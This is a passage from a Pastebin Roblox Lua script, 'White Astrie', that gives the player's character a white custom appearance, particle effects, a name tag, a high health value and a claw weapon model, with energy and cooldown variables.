Advertisement
XDMANFROMXDWORLD

ROBLOX White Astrie Script

Jul 12th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 245.23 KB | None | 0 0
  1. ---White Astrie, edited by Sla0, Credit to original creator!---
  2. paly = game.Players.LocalPlayer
  3. Player = game:GetService("Players").LocalPlayer
  4. p = game.Players.LocalPlayer
  5. char = paly.Character
  6. vt = Vector3.new
  7. rarm = char["Right Arm"]
  8. hed = char.Head
  9. larm = char["Left Arm"]
  10. rleg = char["Right Leg"]
  11. lleg = char["Left Leg"]
  12. local maincolor = BrickColor.random()
  13. local effolemode = false
  14. local wrathmode = false
  15. local noobmode = false
  16. local randomname = "???"
  17. local randomnamefem = "???"
  18. local randomchanger = 6
  19. if paly.Name == "NoobyGames12" then
  20. randomchanger = 6
  21. end
  22. if randomchanger == 6 then
  23. randomnamefem = "Astrie"
  24. effolemode = true
  25. maincolor = BrickColor.new("White")
  26.  
  27. local torsmesh = Instance.new("CharacterMesh", char)
  28. torsmesh.BodyPart = "Torso"
  29. torsmesh.MeshId = "48112070"
  30. local dec2 = Instance.new("Decal", char)
  31. dec2.Face = "Front"
  32. dec2.Texture = "rbxassetid://381091841"
  33. dec2.Parent = char.Head
  34. char.Head.face.Transparency = 1
  35. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  36.  
  37. for i,v in pairs(char:children()) do
  38. if v:IsA("Hat") then
  39. v:Destroy()
  40. end
  41. end
  42. for i,v in pairs(char:children()) do
  43. if v:IsA("Accessory") then
  44. v:Destroy()
  45. end
  46. end
  47. for i,v in pairs(char:children()) do
  48. if v:IsA("Hair") then
  49. v:Destroy()
  50. end
  51. end
  52. for i,v in pairs(char:children()) do
  53. if v:IsA("Shirt") then
  54. v:Destroy()
  55. end
  56. end
  57. for i,v in pairs(char:children()) do
  58. if v:IsA("Pants") then
  59. v:Destroy()
  60. end
  61. end
  62.  
  63. local eye12 = Instance.new("Part")
  64. eye12.Parent = char
  65. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  66. eye12.Archivable = true
  67. eye12.Transparency = 0
  68. eye12.Shape = "Ball"
  69. eye12.BrickColor = maincolor
  70. eye12.Material = "Neon"
  71. eye12.CanCollide = false
  72. local mesh2 = Instance.new("SpecialMesh",eye12)
  73. mesh2.MeshType = "Sphere"
  74. mesh2.Scale = Vector3.new(0.75, 1, 1)
  75. local weld1en2 = Instance.new("Weld")
  76. weld1en2.Parent = hed
  77. weld1en2.Part0 = hed
  78. weld1en2.Part1 = eye12
  79. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  80. local eye1 = Instance.new("Part")
  81. eye1.Parent = char
  82. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  83. eye1.Archivable = true
  84. eye1.Transparency = 0
  85. eye1.Shape = "Ball"
  86. eye1.BrickColor = maincolor
  87. eye1.Material = "Neon"
  88. eye1.CanCollide = false
  89. local mesh = Instance.new("SpecialMesh",eye1)
  90. mesh.MeshType = "Sphere"
  91. mesh.Scale = Vector3.new(0.75, 1, 1)
  92. local weld1en = Instance.new("Weld")
  93. weld1en.Parent = hed
  94. weld1en.Part0 = hed
  95. weld1en.Part1 = eye1
  96. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  97.  
  98. local BC = char["Body Colors"]
  99. BC.HeadColor = BrickColor.new("White")
  100. BC.LeftArmColor = BrickColor.new("White")
  101. BC.LeftLegColor = BrickColor.new("White")
  102. BC.RightArmColor = BrickColor.new("White")
  103. BC.RightLegColor = BrickColor.new("White")
  104. BC.TorsoColor = BrickColor.new("White")
  105.  
  106. ypcall(function()
  107. shirt = Instance.new("Shirt", char)
  108. shirt.Name = "Shirt"
  109. pants = Instance.new("Pants", char)
  110. pants.Name = "Pants"
  111. char.Shirt.ShirtTemplate = "rbxassetid://211752973"
  112. char.Pants.PantsTemplate = "rbxassetid://179059579"
  113. end)
  114. Reaper2 = Instance.new("Model")
  115. Reaper2.Parent = Player.Character
  116. Reaper2.Name = "Reaper2"
  117. rh2 = Instance.new("Part")
  118. rh2.Parent = Reaper2
  119. rh2.BrickColor = maincolor
  120. rh2.Locked = true
  121. rh2.CanCollide = false
  122. mesh2 = Instance.new("SpecialMesh")
  123. rh2.formFactor = "Symmetric"
  124. mesh2.MeshType = "FileMesh"
  125. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  126. mesh2.Parent = rh2
  127. local weld2 = Instance.new("Weld")
  128. weld2.Parent = rh2
  129. rh2.Transparency = 0
  130. weld2.Part0 = rh2
  131. weld2.Part1 = Player.Character.Head
  132. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  133.  
  134. Reaper3 = Instance.new("Model")
  135. Reaper3.Parent = Player.Character
  136. Reaper3.Name = "Reaper3"
  137. rh3 = Instance.new("Part")
  138. rh3.Parent = Reaper3
  139. rh3.BrickColor = BrickColor.new("White")
  140. rh3.Locked = true
  141. rh3.CanCollide = false
  142. mesh3 = Instance.new("SpecialMesh")
  143. rh3.formFactor = "Symmetric"
  144. mesh3.MeshType = "FileMesh"
  145. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  146. mesh3.Parent = rh3
  147. local weld3 = Instance.new("Weld")
  148. weld3.Parent = rh3
  149. rh3.Transparency = 0
  150. weld3.Part0 = rh3
  151. weld3.Part1 = Player.Character.Head
  152. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  153.  
  154. local orbe = Instance.new("Part")
  155. orbe.Parent = char
  156. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  157. orbe.Archivable = true
  158. orbe.Transparency = 1
  159. orbe.BrickColor = maincolor
  160. orbe.Material = "Neon"
  161. orbe.CanCollide = false
  162. local weld1e = Instance.new("Weld")
  163. weld1e.Parent = rleg
  164. weld1e.Part0 = rleg
  165. weld1e.Part1 = orbe
  166. weld1e.C1 = CFrame.new(0, 1.125, 0)
  167. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  168. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  169. local effectoe = Instance.new("ParticleEmitter",orbe)
  170. effectoe.LightEmission = 1
  171. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  172. effectoe.Color = ColorSequence.new(maincolor.Color)
  173. effectoe.Rate = 10000
  174. effectoe.Lifetime = NumberRange.new(1)
  175. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  176. effectoe.Speed = NumberRange.new(0,0)
  177. effectoe.RotSpeed = NumberRange.new(100,100)
  178.  
  179. local orbze = Instance.new("Part")
  180. orbze.Parent = char
  181. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  182. orbze.Archivable = true
  183. orbze.Transparency = 1
  184. orbze.BrickColor = maincolor
  185. orbze.Material = "Neon"
  186. orbze.CanCollide = false
  187. local weldz1 = Instance.new("Weld")
  188. weldz1.Parent = lleg
  189. weldz1.Part0 = lleg
  190. weldz1.Part1 = orbze
  191. weldz1.C1 = CFrame.new(0, 1.125, 0)
  192. local effectone = Instance.new("ParticleEmitter",orbze)
  193. effectone.LightEmission = 1
  194. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  195. effectone.Color = ColorSequence.new(maincolor.Color)
  196. effectone.Rate = 10000
  197. effectone.Lifetime = NumberRange.new(1)
  198. effectone.Size = NumberSequence.new({pt1e,pt2e})
  199. effectone.Speed = NumberRange.new(0,0)
  200. effectone.RotSpeed = NumberRange.new(100,100)
  201. end
  202.  
  203. if effolemode == true then
  204. maincolor = BrickColor.new("White")
  205. end
  206.  
  207. local orb = Instance.new("Part")
  208. orb.Parent = char
  209. orb.Size = Vector3.new(1, 1, 1)
  210. orb.Archivable = true
  211. orb.Transparency = 1
  212. orb.BrickColor = BrickColor.new("Bright orange")
  213. orb.Material = "Wood"
  214. orb.CanCollide = false
  215. local weld1 = Instance.new("Weld")
  216. weld1.Parent = rarm
  217. weld1.Part0 = rarm
  218. weld1.Part1 = orb
  219. weld1.C1 = CFrame.new(0, 1.125, 0)
  220. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  221. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  222. local effecto = Instance.new("ParticleEmitter",orb)
  223. effecto.LightEmission = 1
  224. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  225. effecto.Color = ColorSequence.new(maincolor.Color)
  226. effecto.Rate = 10000
  227. effecto.Lifetime = NumberRange.new(1)
  228. effecto.Size = NumberSequence.new({pt1,pt2})
  229. effecto.Speed = NumberRange.new(0,0)
  230. effecto.RotSpeed = NumberRange.new(100,100)
  231.  
  232. local orbz = Instance.new("Part")
  233. orbz.Parent = char
  234. orbz.Size = Vector3.new(1, 1, 1)
  235. orbz.Archivable = true
  236. orbz.Transparency = 1
  237. orbz.BrickColor = BrickColor.new("Bright orange")
  238. orbz.Material = "Wood"
  239. orbz.CanCollide = false
  240. local weldz1 = Instance.new("Weld")
  241. weldz1.Parent = larm
  242. weldz1.Part0 = larm
  243. weldz1.Part1 = orbz
  244. weldz1.C1 = CFrame.new(0, 1.125, 0)
  245. local effecton = Instance.new("ParticleEmitter",orbz)
  246. effecton.LightEmission = 1
  247. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  248. effecton.Color = ColorSequence.new(maincolor.Color)
  249. effecton.Rate = 10000
  250. effecton.Lifetime = NumberRange.new(1)
  251. effecton.Size = NumberSequence.new({pt1,pt2})
  252. effecton.Speed = NumberRange.new(0,0)
  253. effecton.RotSpeed = NumberRange.new(100,100)
  254.  
  255.  
  256. p = game.Players.LocalPlayer
  257. char = p.Character
  258. torso = char.Torso
  259. neck = char.Torso.Neck
  260. hum = char.Humanoid
  261. hum.MaxHealth = 999999
  262. wait()
  263. hum.Health =hum.MaxHealth
  264.  
  265. CV="Hot pink"
  266.  
  267. local txt = Instance.new("BillboardGui", char)
  268. txt.Adornee = char .Head
  269. txt.Name = "_status"
  270. txt.Size = UDim2.new(2, 0, 1.2, 0)
  271. txt.StudsOffset = Vector3.new(-9, 8, 0)
  272. local text = Instance.new("TextLabel", txt)
  273. text.Size = UDim2.new(10, 0, 7, 0)
  274. text.FontSize = "Size24"
  275. text.TextScaled = true
  276. text.TextTransparency = 0
  277. text.BackgroundTransparency = 1
  278. text.TextTransparency = 0
  279. text.TextStrokeTransparency = 0
  280. text.Font = "SciFi"
  281. text.TextStrokeColor3 = Color3.new(0,0,0)
  282.  
  283. v=Instance.new("Part")
  284. v.Name = "ColorBrick"
  285. v.Parent=p.Character
  286. v.FormFactor="Symmetric"
  287. v.Anchored=true
  288. v.CanCollide=false
  289. v.BottomSurface="Smooth"
  290. v.TopSurface="Smooth"
  291. v.Size=Vector3.new(10,5,3)
  292. v.Transparency=1
  293. v.CFrame=char.Torso.CFrame
  294. v.BrickColor=BrickColor.new(CV)
  295. v.Transparency=1
  296. text.TextColor3 = BrickColor.new("White").Color
  297. v.Shape="Block"
  298. text.Text = "White Astrie"
  299.  
  300.  
  301. euler = CFrame.fromEulerAnglesXYZ
  302. angles = CFrame.Angles
  303. local player = "LocalPlayer"
  304. local Character = game.Players[player].Character
  305. it = Instance.new
  306. vt = Vector3.new
  307. bc = BrickColor.new
  308. cf = CFrame.new
  309. mr = math.rad
  310. local Weapon = {}
  311. local p = game.Players.LocalPlayer
  312. local char = p.Character
  313. local mouse = p:GetMouse()
  314. local larm = char["Left Arm"]
  315. local rarm = char["Right Arm"]
  316. local lleg = char["Left Leg"]
  317. local rleg = char["Right Leg"]
  318. local hed = char.Head
  319. local torso = char.Torso
  320. local hum = char.Humanoid
  321. local cam = game.Workspace.CurrentCamera
  322. local root = char.HumanoidRootPart
  323. local deb = false
  324. local shot = 0
  325.  
  326. local debris=game:service"Debris"
  327. local l = game:GetService("Lighting")
  328. local rs = game:GetService("RunService").RenderStepped
  329. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  330. math.randomseed(os.time())
  331. for i,v in pairs (hed:GetChildren()) do
  332. if v:IsA("Sound") then
  333. v:Destroy()
  334. end
  335. end
  336. ---------------------------------------------------- BeastClaw
  337. NoOutline = function(Part)
  338. Part.TopSurface = 10
  339. end
  340. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  341. local fp = it("Part")
  342. fp.formFactor = formfactor
  343. fp.Parent = parent
  344. fp.Reflectance = reflectance
  345. fp.Transparency = transparency
  346. fp.CanCollide = false
  347. fp.Locked = true
  348. fp.BrickColor = brickcolor
  349. fp.Name = name
  350. fp.Size = size
  351. NoOutline(fp)
  352. fp.Material = "Neon"
  353. fp:BreakJoints()
  354. return fp
  355. end
  356. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  357. local mesh = it(Mesh)
  358. mesh.Parent = part
  359. if Mesh == "SpecialMesh" then
  360. mesh.MeshType = meshtype
  361. if meshid ~= "nil" then
  362. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  363. end
  364. end
  365. mesh.Offset = offset
  366. mesh.Scale = scale
  367. return mesh
  368. end
  369. weld = function(parent, part0, part1, c0)
  370. local weld = it("Motor6D")
  371. weld.Parent = parent
  372. weld.Part0 = part0
  373. weld.Part1 = part1
  374. weld.C0 = c0
  375. return weld
  376. end
  377. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  378. local gui = it(GuiType)
  379. gui.Parent = parent
  380. gui.BackgroundTransparency = backtrans
  381. gui.BackgroundColor3 = backcol
  382. gui.SizeConstraint = "RelativeXY"
  383. gui.Position = pos
  384. gui.Size = size
  385. if GuiType == "TextLabel" then
  386. gui.Text = text
  387. gui.TextXAlignment = "Center"
  388. gui.TextYAlignment = "Center"
  389. gui.Font = "SourceSans"
  390. gui.FontSize = "Size14"
  391. gui.TextWrapped = false
  392. gui.TextStrokeTransparency = 0
  393. gui.TextColor = TorsoColor
  394. else
  395. if GuiType == "ImageLabel" then
  396. gui.Image = "rbxassetid://" .. image
  397. gui.ImageColor3 = backcol
  398. end
  399. end
  400. return gui
  401. end
  402. local handle = nil
  403. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  404. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  405. prt.Material = neon
  406. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  407. wld = weld(handle, prt, wldpar, ceef)
  408. v = it("NumberValue", prt)
  409. v.Value = trans
  410. v.Name = "MainTransparency"
  411. return prt, msh, wld
  412. end
  413. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  414. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  415. prt.Material = neon
  416. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  417. wld = weld(wldpare, prt, wldpar, ceef)
  418. v = it("NumberValue", prt)
  419. v.Value = trans
  420. v.Name = "MainTransparency"
  421. return prt, msh, wld
  422. end
  423. local modelzorzez = Instance.new("Model")
  424. modelzorzez.Parent = workspace.CurrentCamera
  425. modelzorzez.Name = "none"
  426. local Torso = Character.Torso
  427. local LeftArm = Character["Left Arm"]
  428. local RightArm = Character["Right Arm"]
  429. local LeftLeg = Character["Left Leg"]
  430. local RightLeg = Character["Right Leg"]
  431. local Head = Character.Head
  432. local RootPart = Character.HumanoidRootPart
  433. handle = part(3, modelzorzez, 0, 1, BrickColor.new("White"), "Handle", vt())
  434. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  435.  
  436. -- SAHHHH DUUDEEE
  437.  
  438.  
  439.  
  440.  
  441. -- params : ...
  442.  
  443. wait(0.016666666666667)
  444. script.Archivable = false
  445. Effects = {}
  446. local Player = game.Players.localPlayer
  447. local Character = Player.Character
  448. local Humanoid = Character.Humanoid
  449. local mouse = Player:GetMouse()
  450. local m = Instance.new("Model", Character)
  451. m.Name = "WeaponModel"
  452. local effect = Instance.new("Model", Character)
  453. effect.Name = "effecsfsafzx"
  454. local demon = Instance.new("Model", Character)
  455. demon.Name = "demdemd"
  456. local LeftArm = Character["Left Arm"]
  457. local RightArm = Character["Right Arm"]
  458. local LeftLeg = Character["Left Leg"]
  459. local RightLeg = Character["Right Leg"]
  460. local do2target = nil
  461. local Head = Character.Head
  462. local Torso = Character.Torso
  463. TorsoColor = BrickColor.new("White")
  464. z = Instance.new("Sound", Torso)
  465. z.SoundId = "rbxassetid://0" -- 392759567
  466. z.Looped = true
  467. z.Pitch = 0
  468. z.Volume = 0
  469. wait(.1)
  470. z:Play()
  471. local cam = game.Workspace.CurrentCamera
  472. local RootPart = Character.HumanoidRootPart
  473. local RootJoint = RootPart.RootJoint
  474. local equipped = false
  475. local attack = false
  476. local Anim = "Idle"
  477. local idle = 0
  478. local attacktype = 1
  479. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  480. local velocity = RootPart.Velocity.y
  481. local sine = 0
  482. local change = 1
  483. local mana = 0
  484. local it = Instance.new
  485. vt = Vector3.new
  486. local grabbed = false
  487. local cf = CFrame.new
  488. local mr = math.rad
  489. local angles = CFrame.Angles
  490. local ud = UDim2.new
  491. local c3 = Color3.new
  492. clerp = function(a, b, t)
  493.  
  494. return a:lerp(b, t)
  495. end
  496.  
  497. local RbxUtility = LoadLibrary("RbxUtility")
  498. local Create = RbxUtility.Create
  499. RemoveOutlines = function(part)
  500.  
  501. part.TopSurface = 10
  502. end
  503.  
  504. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  505.  
  506. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  507. RemoveOutlines(Part)
  508. return Part
  509. end
  510.  
  511. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  512.  
  513. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  514. if Mesh == "SpecialMesh" then
  515. Msh.MeshType = MeshType
  516. Msh.MeshId = MeshId
  517. end
  518. return Msh
  519. end
  520.  
  521. local co1 = 3
  522. local co2 = 10
  523. local co3 = 15
  524. local co4 = 30
  525. local cooldown1 = 0
  526. local cooldown2 = 0
  527. local cooldown3 = 0
  528. local cooldown4 = 0
  529. local maxEnergy = 100
  530. local Energy = 0
  531. local skill1stam = 1000
  532. local skill2stam = 1000
  533. local skill3stam = 1000
  534. local skill4stam = 1000
  535. local recovermana = 5
  536. local skillcolorscheme = BrickColor.new("White").Color
  537. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  538. makeframe = function(par, trans, pos, size, color)
  539.  
  540. local frame = Instance.new("Frame", par)
  541. frame.BackgroundTransparency = trans
  542. frame.BorderSizePixel = 0
  543. frame.Position = pos
  544. frame.Size = size
  545. frame.BackgroundColor3 = color
  546. return frame
  547. end
  548.  
  549. makelabel = function(par, text)
  550.  
  551. local label = Instance.new("TextLabel", par)
  552. label.BackgroundTransparency = 1
  553. label.Size = UDim2.new(1, 0, 1, 0)
  554. label.Position = UDim2.new(0, 0, 0, 0)
  555. label.TextColor3 = Color3.new(255, 255, 255)
  556. label.TextStrokeTransparency = 0
  557. label.FontSize = Enum.FontSize.Size32
  558. label.Font = Enum.Font.SourceSansLight
  559. label.BorderSizePixel = 0
  560. label.TextScaled = true
  561. label.Text = text
  562. end
  563.  
  564. ArtificialHB = Instance.new("BindableEvent", script)
  565. ArtificialHB.Name = "Heartbeat"
  566. script:WaitForChild("Heartbeat")
  567. frame = 0.033333333333333
  568. tf = 0
  569. allowframeloss = false
  570. tossremainder = false
  571. lastframe = tick()
  572. script.Heartbeat:Fire()
  573. game:GetService("RunService").Heartbeat:connect(function(s, p)
  574.  
  575. tf = tf + s
  576. if frame <= tf then
  577. if allowframeloss then
  578. script.Heartbeat:Fire()
  579. lastframe = tick()
  580. else
  581. for i = 1, math.floor(tf / frame) do
  582. script.Heartbeat:Fire()
  583. end
  584. lastframe = tick()
  585. end
  586. if tossremainder then
  587. tf = 0
  588. else
  589. tf = tf - frame * math.floor(tf / frame)
  590. end
  591. end
  592. end
  593. )
  594. swait = function(num)
  595.  
  596. if num == 0 or num == nil then
  597. ArtificialHB.Event:wait()
  598. else
  599. for i = 0, num do
  600. ArtificialHB.Event:wait()
  601. end
  602. end
  603. end
  604.  
  605. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  606.  
  607. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  608. return Weld
  609. end
  610.  
  611. rayCast = function(Position, Direction, Range, Ignore)
  612.  
  613. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  614. end
  615.  
  616. CreateSound = function(id, par, vol, pit)
  617.  
  618. coroutine.resume(coroutine.create(function()
  619.  
  620. local sou = Instance.new("Sound", par or workspace)
  621. sou.Volume = vol
  622. sou.Pitch = pit or 1
  623. sou.SoundId = 392759567
  624. swait()
  625. sou:play()
  626. game:GetService("Debris"):AddItem(sou, 6)
  627. end
  628. ))
  629. end
  630.  
  631. local getclosest = function(obj, distance)
  632.  
  633. local last, lastx = distance + 1, nil
  634. for i,v in pairs(workspace:GetChildren()) do
  635. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  636. local t = v.Torso
  637. local dist = t.Position - obj.Position.magnitude
  638. if dist <= distance and dist < last then
  639. last = dist
  640. lastx = v
  641. end
  642. end
  643. end
  644. return lastx
  645. end
  646.  
  647. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  648.  
  649. if PartType == "Part" then
  650. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  651. RemoveOutlines(Part)
  652. return Part
  653. else
  654. do
  655. if PartType == "WedgePart" then
  656. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  657. RemoveOutlines(Part)
  658. return Part
  659. end
  660. end
  661. end
  662. end
  663.  
  664. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  665. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  666. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  667. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  668. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  669. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  670. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  671. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  672. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  673. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  674. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  675. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  676. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  677. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  678. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  679. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  680. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  681. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  682. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  683. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  684. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  685. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  686. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  687. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  688. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  689. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  690. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  691. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  692. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  693. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  694. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  695. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  696. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  697. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
